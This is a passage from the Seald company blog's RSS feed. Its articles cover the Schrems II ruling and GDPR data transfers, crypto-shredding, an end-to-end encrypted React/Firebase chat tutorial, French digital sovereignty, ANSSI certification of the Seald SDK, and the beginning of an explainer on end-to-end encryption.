            <content:encoded><![CDATA[<p>On July 16, 2020, <a href="http://curia.europa.eu/juris/document/document.jsf?text=&docid=228677&pageIndex=0&doclang=en&ref=blog.seald.io"><strong>the Court of Justice of the European Union ruled</strong></a> that the Privacy Shield that regulated transfers between the European Union and the United States does not comply with the General Data Protection Regulation, <strong>making it illegal to transfer personal data to the United States without strict precautions.</strong></p><h2 id="background-">Background 🗣</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-4.png" class="kg-image" alt loading="lazy" width="2000" height="1037" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-4.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image-4.png 1000w, https://blog.seald.io/content/images/size/w1600/2021/06/image-4.png 1600w, https://blog.seald.io/content/images/size/w2400/2021/06/image-4.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>The GDPR stipulates in <a href="https://gdprinfo.eu/en-article-44?ref=blog.seald.io"><strong>Chapter V</strong></a> that a transfer of personal data outside the European Economic Area may only be made if appropriate safeguards are put in place and <strong>on the condition that data subjects have enforceable rights and effective remedies.</strong></p><p>To facilitate transfers to the United States, an adequacy decision (as defined in <a href="https://gdprinfo.eu/en-article-45?ref=blog.seald.io"><strong>Article 45 of the GDPR</strong></a>) was taken after the negotiation of the Privacy Shield to ensure these safeguards and to give data subjects these enforceable rights and effective remedies.</p><p>However, following a legal proceeding brought by <a href="https://en.wikipedia.org/wiki/Max_Schrems?ref=blog.seald.io"><strong>Maximilian Schrems</strong></a> in 2013 against Facebook, the CJEU ruled that the Privacy Shield did not provide these safeguards because U.S. law <strong>grants its intelligence agencies the right to access data</strong> without any European proceedings.</p><h2 id="transfer-">"Transfer" ➡</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-5.png" class="kg-image" alt loading="lazy" width="825" height="429" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-5.png 600w, https://blog.seald.io/content/images/2021/06/image-5.png 825w" sizes="(min-width: 720px) 720px"></figure><p>A "transfer" under <a href="https://gdprinfo.eu/en-article-46?ref=blog.seald.io">Article 46 of the GDPR</a> is broader than one might imagine. <strong>It is any transfer of personal data to an entity</strong> :</p><p>🟢 which does not operate within the EEA;<br>🟢 with a subcontractor which does not operate within the EEA;<br>🟢 in which persons outside the EEA have the ability to access the data (e.g., to perform support).</p><p>The third item is particularly restrictive: if a US-based employee of your hosting provider <strong>has the technical ability to connect to your servers hosted in the EEA</strong>, this constitutes a "transfer".</p><h2 id="fisa-702-cloud-act-">FISA 702, Cloud Act, ... ⚖️</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-6.png" class="kg-image" alt loading="lazy" width="1140" height="831" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-6.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image-6.png 1000w, https://blog.seald.io/content/images/2021/06/image-6.png 1140w" sizes="(min-width: 720px) 720px"></figure><p>There are several different pieces of legislation that regulate the controversial capabilities of the American justice and intelligence services. The one used by the CJEU in this decision is section 702 of the Foreign Intelligence Surveillance Act as <strong><a href="https://en.wikipedia.org/wiki/Foreign_Intelligence_Surveillance_Act_of_1978_Amendments_Act_of_2008?ref=blog.seald.io">amended in 2008</a>.</strong></p><h3 id="fisa-702-">FISA 702 📄</h3><p>50 USC § 1881a (introduced by Section 702 of FISA added by the 2008 amendment) requires cloud hosts to provide U.S. intelligence agencies with <strong>the data they control, store, or manage, as well as the encryption keys to decrypt that data</strong>, relating to non-U.S. persons to be monitored.</p><p>FISA Section 702 is not extraterritorial, i.e.<strong> it is only applicable to companies operating in the United States.</strong></p><p>However, if those companies have the ability to remotely access servers hosted in the EEA, <strong>then the data stored there can be seized under FISA Section 702.</strong> This is why the definition of "transfer" covers this eventuality.</p><h3 id="cloud-act-">CLOUD Act ☁️</h3><p>The CLOUD Act passed in 2018, amends the <a href="https://en.wikipedia.org/wiki/Stored_Communications_Act?ref=blog.seald.io">Stored Communications Act</a> to allow for its extra-territorial applicability. It allows US courts to issue a search warrant compelling US cloud providers (even if the data is hosted outside the US, e.g. in the EU) to provide all data of an individual, <strong>without any authorization from the courts of the country where the individual or the data are located.</strong></p><p>No decision by European authorities on the consequences of the CLOUD Act on the GDPR has been issued yet, but it is arguable that subcontracting to companies subject to the Cloud Act constitutes a transfer, even if the hosting is done within the EEA. <strong>Supplementary measures should therefore be implemented to ensure compliance of the "transfer".</strong></p><h2 id="scc-supplementary-measures-">SCC &amp; supplementary measures 💪</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-9.png" class="kg-image" alt loading="lazy" width="1106" height="698" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-9.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image-9.png 1000w, https://blog.seald.io/content/images/2021/06/image-9.png 1106w" sizes="(min-width: 720px) 720px"></figure><p>The European Court of Justice has confirmed that the use of <a href="https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en?ref=blog.seald.io">Standard Contractual Clauses (SCC)</a> between the exporter and importer is valid.</p><p>However, <strong>these SCC alone are not sufficient to ensure the compliance of the "transfer".</strong> Additional measures must be taken to ensure that the "transfer" provides equivalent safeguards to data subjects as it would without the transfer.</p><p>That is why <a href="https://www.seald.io/blog/schrems-2-final-recommendations-on-supplementary-measures?ref=blog.seald.io">the European Data Protection Board has issued recommendations for such additional measures to be applied, such as encryption.</a></p><p><strong>If no combination of supplementary measures can ensure guarantees equivalent to an intra-EEA subcontracting, the transfer must be stopped.</strong></p><h2 id="in-concrete-terms-">In concrete terms 🔥</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-6.png" class="kg-image" alt loading="lazy" width="1140" height="831" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-6.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image-6.png 1000w, https://blog.seald.io/content/images/2021/06/image-6.png 1140w" sizes="(min-width: 720px) 720px"></figure><p><strong>A European company cannot naively subcontract to American companies</strong>, it must for each one:</p><ul><li><strong>Use SCC</strong> as a legal tool for transfer;</li><li><strong>implement supplementary measures</strong> to achieve a level of data protection equivalent to intra-EEA subcontracting.</li></ul><p>If you are looking <strong>to implement additional measures</strong> such as encryption in your company, <strong><a href="https://www.seald.io/discover?ref=blog.seald.io">contact us</a>!</strong></p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2021/06/guillaume-perigois-0NRkVddA2fw-unsplash-1.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Data destruction using crypto-shredding]]></title>
            <link>https://www.seald.io/blog/data-destruction-using-crypto-shredding</link>
            <guid>https://www.seald.io/blog/data-destruction-using-crypto-shredding</guid>
            <pubDate>Mon, 14 Jun 2021 16:55:51 GMT</pubDate>
            <description><![CDATA[Crypto-shredding is a data destruction technique that consists in destroying the
keys that allow the data to be decrypted, thus making the data undecipherable.

Difficulty of data destruction
Data destruction is a major issue in data protection regulations such as the
GDPR in the context of exercising an individual's right to erasure.

When a company exercises a person's right to erasure, it must search all
databases, all object or flat storage, all logs (and their backups) to find all
occurrenc]]></description>
            <content:encoded><![CDATA[<p>Crypto-shredding is a data destruction technique that consists in destroying the keys that allow the data to be decrypted, thus making the data undecipherable.</p><h2 id="difficulty-of-data-destruction">Difficulty of data destruction</h2><p>Data destruction is a major issue in data protection regulations such as the GDPR in the context of exercising an individual's right to erasure.</p><p>When a company exercises a person's right to erasure, it must search all databases, all object or flat storage, all logs (and their backups) to find all occurrences of a piece of data, and delete them.</p><p>Anyone who has ever been confronted with such a request will know that this is not easy:</p><ul><li>it is difficult, if not impossible, to delete data contained in a backup (not to mention the backups that are silently made by the hosting companies);</li><li>the same data is often replicated in different forms in the infrastructure;</li><li>deletion in a relational database can trigger a cascade of involuntary deletions;</li><li>and so on.</li></ul><h2 id="benefits">Benefits</h2><p>Crypto-shredding changes the approach to the problem: instead of searching / cataloguing all versions of a piece of data across the entire infrastructure, the problem is centralized on one encryption key for all versions of a piece of data.</p><p>When a piece of data is first collected, it is encrypted with a centrally managed individual key. The encrypted data is stored, backed up, replicated normally, decrypted each time it is used, and as soon as a new version is produced, it is encrypted with the same key.</p><p>When you want to delete the piece of data, you don't need to start an archaeological dig, you just have to destroy the encryption key, which is managed centrally.</p><h2 id="how-it-works">How it works</h2><p>If the encryption key used to decrypt a piece of data is destroyed and there is no copy of it, this prevents anyone from decrypting the piece of data. This is called crypto-shredding a piece of data.</p><p>The original data could then only be reconstructed by "breaking" the encryption, which with modern and robust algorithms is considered impossible. If "breaking" the cipher were possible on a given algorithm, then the algorithm used would be judged as vulnerable and would have to be abandoned.</p><p>Thus, crypto-shredding a piece of data is equivalent, in terms of risk of data breach, to deleting the data.</p><h2 id="limitations">Limitations</h2><p>Three limitations exist with crypto-shredding:</p><ul><li>if the encryption is poorly implemented (e.g., using vulnerable algorithms) crypto-shredding of a data would not be equivalent to deleting it;</li><li>since crypto-shredding does not delete the encrypted data, the encrypted data would still take up disk space;</li><li>keys have to be managed for each data and decryption operations have to be performed at each use, which requires a well organized key management, and secure deletion of the keys in paramount to crypto-shredding.</li></ul><p>The Seald-SDK allows to perform fine-grained crypto-shredding on encrypted data, don't hesitate to contact our teams to know more about it!</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2021/06/devin-avery--Ds7O9Y1_80-unsplash-1.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[👑 An Encrypted Chat App with React Hooks, Firebase and Seald 🔐]]></title>
            <link>https://www.seald.io/blog/an-encrypted-chat-app-with-react-hooks-firebase-and-seald</link>
            <guid>https://www.seald.io/blog/an-encrypted-chat-app-with-react-hooks-firebase-and-seald</guid>
            <pubDate>Mon, 31 Aug 2020 11:04:25 GMT</pubDate>
            <description><![CDATA[End-to-end encryption can be complex and expensive to redevelop, although it is essential to protect the confidential data your applications handle. With Seald SDK, we perform end-to-end encryption on data stored, produced or received by your applications.]]></description>
            <content:encoded><![CDATA[<p>Hello guys! 👋</p><p>Today, let's discover a small chat application developed with <strong>React Hooks</strong>, <strong>Firebase</strong> and a new package named <strong>Seald</strong>! 🔥</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/b086ptjw4hn4xccn6iog.png" class="kg-image" alt="cybersecurity meme" loading="lazy"><figcaption>Created with meme-studio.io</figcaption></figure><p><a href="https://en.wikipedia.org/wiki/End-to-end_encryption?ref=blog.seald.io"><strong>End-to-end encryption</strong></a> can be complex and expensive to redevelop, even if it is essential to protect the confidential data your applications handle. With <a href="https://www.seald.io/products/integrations?ref=blog.seald.io">Seald SDK</a>, we perform end-to-end encryption on data stored, produced or received by your applications.</p><p>Let's take an example with <strong>a chat application</strong>! 💪</p><h2 id="structure-of-our-chat-app-">Structure of our chat app 🧰</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/m8dwn3r63zpczg413nsz.gif" class="kg-image" alt="Seald chat demo" loading="lazy"><figcaption>React + Firebase + Seald</figcaption></figure><p>Above is <strong>a demo of our chat app</strong> in React, with an end-to-end encryption system, including several features:</p><p>🟢 Create a room<br>🟢 Add/Remove users from a room<br>🟢 Modify a room<br>🟢 Registration / Login<br>🟢 User status<br>🟢 Encrypting and decrypting a message</p><h3 id="the-main-tools-used-are-">The <strong>main tools used are</strong>:</h3><p><a href="https://firebase.google.com/?ref=blog.seald.io">Firebase</a>, a ready-to-use framework which allows us to create a persistent authentication system, save our encrypted messages in a database and receive them instantly when a user posts a new message.</p><p><a href="https://reactjs.org/?ref=blog.seald.io">React</a> which will be our frontend library to perform and design simple views for each state in our application.</p><p><a href="https://www.seald.io/?ref=blog.seald.io">Seald</a>, the turnkey library we will use to bring end-2-end encryption 🔐 to the chat.</p><h2 id="auth-system-">Auth system 👨‍💻</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/9oi0vzf263x0v6ew29b2.png" class="kg-image" alt="React Router" loading="lazy"><figcaption>Router with 3 routes</figcaption></figure><p>Only 3 routes for our chat application with authentication. <strong>Registration</strong>, <strong>login</strong> and <strong>room management</strong>.</p><p>We define if the routes are allowed for authenticated users or not.</p><h3 id="password-derivation-">Password derivation 🔏</h3><p>Normally, we would send Firebase the password in cleartext, and then Firebase would derive it with a secure function such as <strong>SCRYPT</strong> in order to avoid having it in the database.</p><p>In our case, we want to prevent Firebase from ever being able to read the password, even if it’s not stored, because we’re going to use it for protecting <strong>the Seald identity end-2-end</strong> (even from Firebase).</p><p>In order to do that, we just do the same operation Firebase does, but <em>before</em> giving it to Firebase : we derive the password with a secure function (<strong>SCRYPT</strong>) and then use it as a password.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/1zkw3ak5bisgqbhnii5t.png" class="kg-image" alt="Password derivation" loading="lazy"><figcaption>Password derivation before giving it to Firebase</figcaption></figure><h3 id="sign-up-">Sign up 👤</h3><p>In order to create a user in this application, a simple form containing 3 fields is enough:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/f9habf4cqavz2gv6lwj5.png" class="kg-image" alt="Sign up Seald demo" loading="lazy"><figcaption>Sign up form</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/slcc8wehs9c5e7eaqhaa.png" class="kg-image" alt="Sign up code" loading="lazy"><figcaption>Sign up code</figcaption></figure><p>Nothing very complicated in the code. We ask Firebase to create an authentication via an email and a password provided by the user.</p><p>And also add some informations about the user, like the name and a photo URL.</p><p>Then, we add the Seald application layer to create our future<br>encrypted messages.</p><h3 id="sign-in-">Sign in 👤</h3><p>Then, the login. A classic form (<strong>email</strong> / <strong>password</strong>) in order to access the rooms and be able to chat with other users.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/ehihqcixbuo7sisnox0d.png" class="kg-image" alt="Sign in Seald demo" loading="lazy"><figcaption>Sign in form</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/n8lv5j3hjv5jy0u8rvxr.png" class="kg-image" alt="Sign in Seald code" loading="lazy"><figcaption>Sign in code</figcaption></figure><p>Same as on the registration. We retrieve the <strong>Firebase authentication</strong> of the user and his <strong>Seald account</strong>.</p><h2 id="rooms-">Rooms 👨‍👩‍👦‍👦</h2><p>That's where the interesting part comes from.</p><p>On this application, it is possible to <strong>chat in 1 to 1</strong> with an another user, but also to <strong>chat with a group of users</strong> in a custom room.</p><h3 id="create-a-room-">Create a room 🧸</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/geo99wm8xk4vczrnxx53.png" class="kg-image" alt="Add room Seald demo" loading="lazy"><figcaption>Create a room</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/bzmfah9ud6e4rk75ld1n.png" class="kg-image" alt="Add room Seald code" loading="lazy"><figcaption>Code for adding a room</figcaption></figure><p>Let's detail this code together:</p><ul><li>First, we send the form data to <a>Firebase</a>. The name of the room and the selected users are required.</li><li>Then we create an encrypted session using the <a href="https://www.seald.io/?ref=blog.seald.io">Seald SDK</a>. This will allow to <strong>encrypt</strong> and <strong>decrypt</strong> a message for this room.</li><li>And finally, we want to send the first encrypted message to welcome the users of this room.</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/jvhxvhc8vtqj257fy081.png" class="kg-image" alt="Demo hello" loading="lazy"><figcaption>Our first room!</figcaption></figure><h3 id="send-encrypted-messages-">Send encrypted messages 🔏</h3><p>Now, let's chat! But, remember, we want an <strong>End-To-End encryption</strong> for the messages.</p><figure class="kg-card kg-image-card"><img src="https://dev-to-uploads.s3.amazonaws.com/i/jj30v8jhlb94lkps0t37.png" class="kg-image" alt="Seald sdk" loading="lazy"></figure><p>Before each created message, we need to check if we have an authenticated Seald session. If not, create that session with the SDK 🔒.</p><p>Then, the session allows us to encrypt a string, which is our message.</p><p><strong>Alice</strong> 👩 sends a message to <strong>Bob</strong> 👨</p><pre><code class="language-js">"Hello my friend"
</code></pre><p>We call the method <code>encrypt</code> for our message above:</p><figure class="kg-card kg-image-card"><img src="https://dev-to-uploads.s3.amazonaws.com/i/ds6d1ob6ixnnq9fuw8rb.png" class="kg-image" alt="Seald encrypt message" loading="lazy"></figure><p><strong>The message will become:</strong></p><pre><code class="language-js">"{\"sessionId\":\"NazDAYyuRw2lDKS0VaianA\",\"data\":\"8RwaOppCD3uIJVFv2LoP3XGXpomj0xsMv4qmMVy30Vdqor2w0+DVCXu3j13PEyN2KfJm6SiSrWDRMDziiiOUjQ==\"}"
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/s29hph61kqp49rc7pa60.png" class="kg-image" alt="Encrypted message Seald" loading="lazy"><figcaption>🔴 Before decrypting messages</figcaption></figure><p>Now, Bob 👨(and other users of the room) need to <strong>decrypt the message of Alice 👩</strong>. How can we do that?</p><h3 id="decrypted-messages-">Decrypted messages 🔐</h3><figure class="kg-card kg-image-card"><img src="https://dev-to-uploads.s3.amazonaws.com/i/qqtd6xfqg7rarhl1e8rb.png" class="kg-image" alt="Seald sdk code decrypt" loading="lazy"></figure><p>Now that we know how to send an encrypted message, let's see how to retrieve a message instantly and decrypt it for other users.</p><p>We use the <code>value</code> event to read our messages, as they existed at the time of the event. <a href="https://firebase.google.com/docs/database/web/read-and-write?ref=blog.seald.io#listen_for_value_events">This method</a> is triggered once when the listener is attached and again every time the data, including children, changes.</p><p>Read more about <a href="https://firebase.google.com/docs/database/web/read-and-write?ref=blog.seald.io">reading and writing Data with Firebase</a> 📂</p><p>We retrieve our message list every time a message is added. So, an encrypted message is displayed, but now we need to be able to decrypt it:</p><p><strong>Bob 👨 actually sees</strong>:</p><pre><code class="language-js">"{\"sessionId\":\"NazDAYyuRw2lDKS0VaianA\",\"data\":\"8RwaOppCD3uIJVFv2LoP3XGXpomj0xsMv4qmMVy30Vdqor2w0+DVCXu3j13PEyN2KfJm6SiSrWDRMDziiiOUjQ==\"}"
</code></pre><p>We call the method <code>decrypt</code> for our encrypted message above:</p><figure class="kg-card kg-image-card"><img src="https://dev-to-uploads.s3.amazonaws.com/i/i5cex96s3ebfzw7j8xsh.png" class="kg-image" alt="Decrypt sdk Seald" loading="lazy"></figure><p><strong>Bob 👨 will now see</strong>:</p><pre><code class="language-js">"Hello my friend"
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://dev-to-uploads.s3.amazonaws.com/i/vsoy80p00l9q0pcop4to.png" class="kg-image" alt="Chat demo decrypted Seald" loading="lazy"><figcaption>🟢 After decrypting messages</figcaption></figure><p>We now have a real-time chat with an end-to-end encryption system 💪</p><blockquote>Note: To use the Seald SDK, go to <a href="https://www.seald.io/?ref=blog.seald.io">seald.io</a>.</blockquote><p><em>Voilà</em></p><p>Cheers, 🍻 🍻 🍻</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2020/09/image-en-1.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Are we experiencing a comeback of the sovereignty concept?]]></title>
            <link>https://www.seald.io/blog/are-we-experiencing-a-comeback-of-the-sovereignty-concept</link>
            <guid>https://www.seald.io/blog/are-we-experiencing-a-comeback-of-the-sovereignty-concept</guid>
            <pubDate>Fri, 31 Jul 2020 10:50:11 GMT</pubDate>
            <description><![CDATA[The concept of digital sovereignty has been gaining momentum lately. Where do we stand in France and what actions are we taking to limit our dependence on foreign digital products and services?]]></description>
            <content:encoded><![CDATA[<p>We have to admit that there has been a very "frenchy" atmosphere for the past few months, let's just say it: very cock-a-doodle-doo 🐓. We are in favor of "made in France" and we tell ourselves that, in reality, it wouldn't be so bad to relocate strategic production to be less dependent on our neighbors.</p><p>Beyond agriculture or the pharmaceutical sector, where we now want to maintain production in France (or at least in the EU) for the sake of sovereignty, even if it is less competitive than foreign competition, <strong>where are we in terms of our digital sovereignty? Are we giving ourselves the means to sovereignly exploit "the oil of the 21st century": our data?</strong></p><h2 id="there-is-a-long-way-to-go">There is a long way to go</h2><p>Our partner Cabsis recently detailed in its article "<a href="https://www.cabsis-consulting.com/index.php/fr/ressources/blog/2457-comment-la-france-va-perdre-la-souverainete-de-ses-donnees-de-sante?ref=blog.seald.io">Comment la France va perdre la souveraineté de ses données de santé</a>" (which I recommend french speakers read) how we have just delegated to our American friends the hosting of our SNDS (Système National des Données de Santé) health database. The issue here: no French provider was able to fully meet the specifications.</p><blockquote>Absurd but true: we set rules to protect our information assets, but these rules actually favor the striking power of foreign vendors.</blockquote><p>This is not surprising knowing that 75% of the 70 billion euros spent each year on digital technology in France goes into the pockets of non-European players. So game over in terms of sovereignty for our health data.</p><h2 id="does-this-mean-that-the-game-is-totally-over">Does this mean that the game is totally over?</h2><p>Like a warlord trying to unite the Gallic peoples in the face of the enemy threat, the PlayFrance collective launched an appeal three months ago (<a href="https://www.lesacteursdunumerique.fr/?ref=blog.seald.io">also to be read by french speakers</a>) to mobilize French digital players and raise the awareness of public authorities on this subject.</p><p>Some good results already; the most striking being certainly the decision of the APHP (Parisian hospitals) to decline the services of Palantir during the health crisis. Seald is also proud to be among the 300 software providers for French digital sovereignty (<a href="https://uploads.strikinglycdn.com/files/17d96b85-961c-4c52-a825-60a1b175a7bc/Mapping_PlayFrance300.pdf?ref=blog.seald.io">see cartography</a>).</p><p>The subject is not new: Bruno Le Maire was already talking about it in February 2019, long before the subject came back to the forefront by force of circumstance. "There is no political sovereignty without technological sovereignty" declared our Minister of Economy.</p><figure class="kg-card kg-embed-card"><blockquote class="twitter-tweet"><p lang="fr" dir="ltr">Il n&#39;y a pas de souveraineté politique sans souveraineté technologique <a href="https://twitter.com/hashtag/datacenters?src=hash&ref_src=twsrc%5Etfw&ref=blog.seald.io">#datacenters</a> <a href="https://twitter.com/hashtag/IA?src=hash&ref_src=twsrc%5Etfw&ref=blog.seald.io">#IA</a> <a href="https://t.co/rnG9nmtCfA?ref=blog.seald.io">pic.twitter.com/rnG9nmtCfA</a></p>&mdash; Bruno Le Maire (@BrunoLeMaire) <a href="https://twitter.com/BrunoLeMaire/status/1097478204711940101?ref_src=twsrc%5Etfw&ref=blog.seald.io">February 18, 2019</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</figure><p>While this is indeed a major challenge, recognized as such by our managers, for the moment few major technology companies are flourishing in France, or even on a European scale, comparable to the American giants in the software sector or comparable to the Chinese giants in the hardware sector.</p><h2 id="it-s-all-a-matter-of-prioritization">It's all a matter of prioritization</h2><p>As we pointed out in our June 26th article "<a href="https://www.seald.io/blog/end-to-end-encryption-how-to-use-the-cloud-while-remaining-sovereign?ref=blog.seald.io">End-to-end encryption: how to use the Cloud while remaining sovereign</a>", it is not necessary to completely cut ties with our trading partners. Let's take the example of the American GAFAMs: at Seald we defend the possibility of relying on the American Cloud while not allowing them to spy on us.</p><blockquote>The idea is simple: when you rent an apartment, you wouldn't want your landlord to have the keys and visit your home unexpectedly, or even that he can monitor your every move via a video surveillance device.</blockquote><p>Yet this is what many French organizations allow by delegating the management of the confidentiality of their data, without thinking twice, to American companies who promise you that on their products, "everything is encrypted". This is obviously not taking the Cloud Act into account and the heavy suspicions that weigh on the operations of American intelligence services, not for the fight against terrorism, but for economic espionage and destabilization purposes. Examples of this are the PRISM or XKeyscore programmes, where the NSA already had access to the data of all the digital giants as early as 2013. As they say across the Atlantic: "America first".</p><p>Some would like to no longer depend on foreign players at all, and have European equivalents of any American company. This is the Chinese policy: Baidu replaces Google, TikTok replaces SnapChat, Huawei replaces Cisco, and so on. To do the same thing in France or in the EU is unthinkable, it would mean preventing ourselves to export and going back 20 years in computer science.</p><p>Instead of this unrealistic ultra-protectionist policy, an in-between would be to prefer European companies on European public markets. This would allow our startups of today to become the unicorns of tomorrow (remember that France today has 15 times fewer unicorns than the United States and 6 times fewer than China) and to continue to exploit the power of foreign hosts by taking precautions such as encryption, as Seald proposes, to maintain sovereignty over data.</p><p>The trend seems to be confirmed: the Privacy Shield has just been invalidated by the Court of Justice of the European Union, which rightly ruled that it was not a "shield" to protect the data of European nationals. At the French level, Jean Castex announced in his first general policy statement to the French National Assembly on July 15 a 40 billion plan in support of France's industrial sovereignty.</p><p>Digital sovereignty: passing fad or underlying trend? Time will tell. But solid foundations are being laid.</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2020/07/image--6--2.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[ANSSI Certification]]></title>
            <link>https://www.seald.io/blog/anssi-certification</link>
            <guid>https://www.seald.io/blog/anssi-certification</guid>
            <pubDate>Wed, 15 Jul 2020 16:53:00 GMT</pubDate>
            <description><![CDATA[At a time when economic and digital sovereignty are at the heart of concerns, at Seald we are proud to announce that our product has a Security Visa from the ANSSI with a CSPN.]]></description>
            <content:encoded><![CDATA[<p><em>At a time when economic and digital sovereignty are at the heart of concerns, at Seald we are proud to announce that our product</em> has a Security Visa from the ANSSI with a CSPN.</p><p>When Seald was created in 2016, we already had the will to have our solutions certified to demonstrate the seriousness of our solutions. At the end of 2019, we took the decision to start this process.</p><h2 id="scope">Scope</h2><p>This process begins with the selection of the scope to be assessed. At Seald, our solutions are many and varied to cover a maximum of use cases. It would therefore be unrealistic to certify everything, especially since the certification is only valid for a given version and not the updates that follow.</p><p>So we decided to certify the so-called Seald-SDK which is a Javascript code library that is used in all our solutions, including the desktop application, the mobile application and the command line version of Seald.</p><h2 id="target">Target</h2><p>Once the perimeter was established, we formally defined which threats we wanted to guard against: the security target. On this subject, we offer our off-the-shelf solutions, but they are all based on a server, which is offered in Cloud or on-demand.</p><p>To be very strict, we therefore decided to consider this server as potentially compromised and to prove that, despite this hypothesis, the confidentiality of the elements protected with Seald was not compromised. This is why the certification only concerns the "client" part of the Seald technology: the Seald-SDK.</p><p>This target includes most of the cryptographic mechanisms associated with the Seald technology for which we have provided a cryptographic supply document detailing the algorithms used and the way Seald manages keys, the addition of a posteriori rights, multi-devices, etc.</p><p>It was written in collaboration with a CESTI, which we commissioned to evaluate the product: Synacktiv, whom we thank very much for their professionalism and availability.</p><p><a href="https://www.seald.io/discover?ref=blog.seald.io">Contact our teams for a demonstration.</a></p><p>Better Seald than sorry.</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2020/07/image--10-.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[End-to-end encryption : how to use the Cloud while remaining sovereign]]></title>
            <link>https://www.seald.io/blog/end-to-end-encryption-how-to-use-the-cloud-while-remaining-sovereign</link>
            <guid>https://www.seald.io/blog/end-to-end-encryption-how-to-use-the-cloud-while-remaining-sovereign</guid>
            <pubDate>Fri, 26 Jun 2020 09:50:00 GMT</pubDate>
            <description><![CDATA[Doctolib, Zoom... The recent news allows us to take stock of the interest in adopting end-to-end encryption and to highlight its usefulness in securing uses in the Cloud.]]></description>
            <content:encoded><![CDATA[<p><em>Popularized in 2013 following the revelations of E. Snowden, end-to-end encryption today suffers from sometimes incomplete definitions. Doctolib, Zoom... The recent news allows us to take stock of the interest in adopting end-to-end encryption and to highlight its usefulness in securing uses in the Cloud.</em></p><p>Recent events have put end-to-end encryption on the front of the stage: <a href="https://techcrunch.com/2020/05/07/zoom-acquires-keybase-to-get-end-to-end-encryption-expertise/?guccounter=1&ref=blog.seald.io">Zoom has bought Keybase</a> to offer end-to-end encryption, Doctolib now uses this same technology on medical data, Les Assises de la Sécurité places Olvid and Seald in the finals of their Innovation Award. Coming from leaders in their category, these actions and positioning are no longer weak signals, but rather <strong>the sign of a paradigm shift</strong>. This is therefore an opportunity to shed light on what distinguishes popularized encryption from end-to-end encryption, and to look at the sovereignty promised by this technology when applied to the power of the Cloud.</p><h2 id="everything-is-encrypted-in-here">"Everything is encrypted in here"</h2><p>While most services offer some form of encryption, they are not necessarily "secure". To get to the heart of the matter, it is essential to question authorization management: <strong>who can manage or access decryption keys?</strong> The broader or more indeterminate the answer, the less precise is the security.</p><p>The promise "everything is encrypted in here" is therefore often abused. Don't be fooled by the Cloud hosts themselves, not all encryption is end-to-end encryption. Many providers play this blur and claim that "it's encrypted" with no explanation whatsoever.</p><p>Nowadays, everything uses encryption, but that doesn't protect against all threats: the article you are reading now, for example, is made accessible through an encrypted connection, but anyone can read it (and that's perfectly normal).</p><h2 id="so-what-is-true-end-to-end-encryption">So, what is true end-to-end encryption?</h2><p>End-to-end encryption integrates a strong and decisive notion of decryption authorization management. Concretely, it makes it possible to protect a message (text or file), based on encryption algorithms, addressed by person A to person B. This process ensures that no intermediary (host, service provider, government, etc.) can read or decrypt the content.</p><h3 id="this-is-nothing-new-">This is nothing new...</h3><p>Since 2013 and Edward Snowden's revelations about mass espionage by the United States, end-to-end encryption is gradually being deployed in consumer messaging applications: Signal and Telegram in 2014, WhatsApp in 2016, etc.</p><p>However, its adoption in the professional world was more timid until recently, even though tools are available (S/MIME or PGP for example).‌‌</p><p>For our part, we created Seald in this same dynamic, shortly after WhatsApp was launched.</p><h3 id="-but-the-covid-19-accelerates-the-adoption-of-uses">... but the Covid-19 accelerates the adoption of uses</h3><p>The Covid-19 crisis has only reinforced the urgent need for companies to become fully digital. Allowing the maintenance of activity in degraded conditions, remotely, the adoption of work solutions hosted in the Cloud, has 